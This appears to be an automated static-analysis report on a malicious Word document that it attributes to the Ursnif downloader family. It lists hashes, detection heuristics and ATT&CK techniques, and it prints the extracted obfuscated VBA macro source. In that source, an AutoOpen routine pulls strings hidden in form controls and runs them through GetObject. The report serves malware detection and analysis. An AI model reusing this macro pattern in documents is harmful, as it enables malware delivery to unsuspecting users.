Ursnif — Office (OLE) malware analysis

Static analysis result for SHA-256 e29e7993b26003dc…

MALICIOUS

Office (OLE)

70.0 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2020-08-10
MD5: ae23eab2a84096e73b6f7dd8401cf4c9 SHA-1: fc2007948d3b905dec6d3725e98a4444e5f78251 SHA-256: e29e7993b26003dcac4838ebf3055f0b7e71d903b3849c28bf6c56b22dfc4cdf
230 Risk Score

Malware Insights

Ursnif · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample contains VBA macros, including an AutoOpen macro, which is a common technique for malicious documents. The heuristics indicate a reference to PowerShell and a GetObject call, suggesting the macro is used to download and execute a second-stage payload. The ClamAV detection explicitly identifies it as Doc.Downloader.Ursnif, supporting the family attribution and downloader behavior.

Heuristics 8

  • ClamAV: Doc.Downloader.Ursnif-7111129-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Ursnif-7111129-0
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Function CCCsCQmvJ_zKJBdGCmatqiFbrZRX(CPJfmZRFFtrbfBWQBj_XVxXd)
 Set CCCsCQmvJ_zKJBdGCmatqiFbrZRX = GetObject(CPJfmZRFFtrbfBWQBj_XVxXd)
End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Function
Sub AutoOpen()
zFkMaxbwJwSgFGLNbNxm = Sqr(4) - 1
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1457 bytes
SHA-256: cbd111df7420900567620916b78ecc02ff1d1dc5a80532c565925c0855c35058
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function pqzLv_ChFpSmHLBgZGlxPplB_PtVnxl(pMsaBssZJiHxsnjkPkSWMBtanwz, HfHdTWPsabbDawQsrk)
  Set rHsbvcWxttcStFqMqgkhWrbiwr = pMsaBssZJiHxsnjkPkSWMBtanwz(HfHdTWPsabbDawQsrk)
  pqzLv_ChFpSmHLBgZGlxPplB_PtVnxl = (rHsbvcWxttcStFqMqgkhWrbiwr.ControlTipText) + ""
End Function
Function CCCsCQmvJ_zKJBdGCmatqiFbrZRX(CPJfmZRFFtrbfBWQBj_XVxXd)
 Set CCCsCQmvJ_zKJBdGCmatqiFbrZRX = GetObject(CPJfmZRFFtrbfBWQBj_XVxXd)
End Function
Sub AutoOpen()
zFkMaxbwJwSgFGLNbNxm = Sqr(4) - 1
jmzsXJZTkBmxasqiwc = pqzLv_ChFpSmHLBgZGlxPplB_PtVnxl(onpsfenvfwioe.Controls, 1)
If gRqFknCGlJhVMSxLFG = 3 Then
  MsgBox jmzsXJZTkBmxasqiwc
End If
CCCsCQmvJ_zKJBdGCmatqiFbrZRX(jmzsXJZTkBmxasqiwc).Run% pqzLv_ChFpSmHLBgZGlxPplB_PtVnxl(onpsfenvfwioe.Controls, 2) + pqzLv_ChFpSmHLBgZGlxPplB_PtVnxl(onpsfenvfwioe.Controls, 0), 9560 - 5
End Sub


Attribute VB_Name = "onpsfenvfwioe"
Attribute VB_Base = "0{07A8A1D1-6F7D-4F94-B19C-9E2F56016E18}{D6D576CF-CED1-49E5-B3D7-41D9BAF644A8}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

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